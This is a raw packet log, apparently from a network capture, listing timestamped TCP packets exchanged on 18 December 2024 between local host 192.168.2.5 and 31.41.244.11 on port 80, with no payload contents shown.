Dec 18, 2024 19:08:15.236311913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.236499071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.236541033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.237149954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.237195015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.237344980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.237385988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.238099098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.238142014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.238243103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.238281965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.239073992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.239118099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.239202976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.239243984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.240024090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.240071058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.240231037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.240269899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.240907907 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.240950108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.241178989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.241219997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.241832018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.241873980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.242124081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.242165089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.242811918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.242855072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.243088007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.243130922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.243736029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.243774891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.244116068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.244158030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.257478952 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.257566929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.257822037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.257865906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.258800983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.258846998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.258899927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.258910894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.258944035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.259155035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.259198904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.259568930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.259613991 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.390203953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.390274048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.390467882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.390517950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.390619993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.390661955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.390815020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.390853882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.391004086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.391047001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.391572952 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.391624928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.392110109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.392151117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.392488003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.392501116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.392532110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.393416882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.393457890 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.393507004 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.393544912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.394335032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.394385099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.394534111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.394573927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.395308971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.395379066 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.395402908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.395442009 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.396234035 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.396276951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.396322966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.396364927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.397324085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.397366047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.397562981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.397605896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.398173094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.398185015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.398228884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.398256063 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.399096966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.399139881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.399633884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.399677038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.400021076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.400063038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.400269985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.400314093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.400940895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.400984049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.401043892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.401083946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.401911974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.401954889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.402044058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.402085066 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.402841091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.402883053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.403009892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.403049946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.405819893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.405833006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.405844927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.405858040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.405872107 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.405870914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.405903101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.405929089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.405952930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.405997992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.406742096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.406783104 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.406891108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.406941891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.407675982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.407718897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.407960892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.408004045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.408658981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.408670902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.408704042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.409640074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.409743071 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.410253048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.410301924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.410562038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.410574913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.410603046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.410621881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.411423922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.411468983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.412030935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.412070990 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.412477016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.412518978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.412642002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.412679911 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.413351059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.413399935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.414300919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.414313078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.414330006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.414352894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.414376020 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.415133953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.415184021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.415813923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.415869951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.416090012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.416136026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.416184902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.416229010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.416969061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.417028904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.417314053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.417363882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.417901039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.417958021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.418838024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.418849945 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.418893099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.418920040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.418982029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.419028044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.419785976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.419841051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.419962883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.420007944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.420804024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.420852900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.420916080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.420958042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.421647072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.421693087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.422633886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.422646046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.422683001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.422771931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.422816992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.423624039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.423636913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.423672915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.423697948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.424460888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.424514055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.424618006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.424665928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.425414085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.425481081 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.425523043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.425573111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.426393986 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.426440001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.426493883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.426534891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.427316904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.427364111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.427758932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.427803993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.428263903 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.428311110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.428766012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.428811073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.429181099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.429225922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.429503918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.429548979 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.430123091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.430171013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.431142092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.431154013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.431193113 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.431273937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.431334972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.431989908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.432035923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.432343960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.432391882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.432934046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.432980061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.433088064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.433134079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.433878899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.433928013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.434294939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.434338093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.434855938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.434904099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.435075998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.435120106 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.435765028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.435810089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.435887098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.435929060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.449290991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.449331045 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.449357033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.449390888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.449686050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.449732065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.449870110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.449918032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.450644016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.450690031 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.451096058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.451143026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.451550007 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.451595068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.582320929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.582427025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.582478046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.582525969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.582588911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.582628012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.582784891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.582824945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.583539963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.583595037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.583729982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.583771944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.584525108 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.584573030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.584748030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.584788084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.585433960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.585598946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.585622072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.585640907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.586397886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.586452007 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.586522102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.586560011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.587358952 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.587404013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.587524891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.587568998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.588283062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.588337898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.588399887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.588440895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.589212894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.589261055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.590167999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.590181112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.590219975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.590244055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.590336084 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.590370893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.591124058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.591173887 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.591626883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.591942072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.592021942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.592061996 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.592184067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.592221022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.592961073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.593154907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.593763113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.593813896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.594079018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.594091892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.594120026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.594157934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.594863892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.594909906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.595140934 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.595177889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.595797062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.595839024 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.596019983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.596061945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.596714020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.596762896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.597007036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.597044945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.597650051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.597693920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.597877979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.597918987 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.598603964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.598666906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.598856926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.598893881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.599540949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.599580050 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.599756002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.599793911 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.600502014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.600543022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.600814104 CET	80	49720	31.41.244.11	192.168.2.5
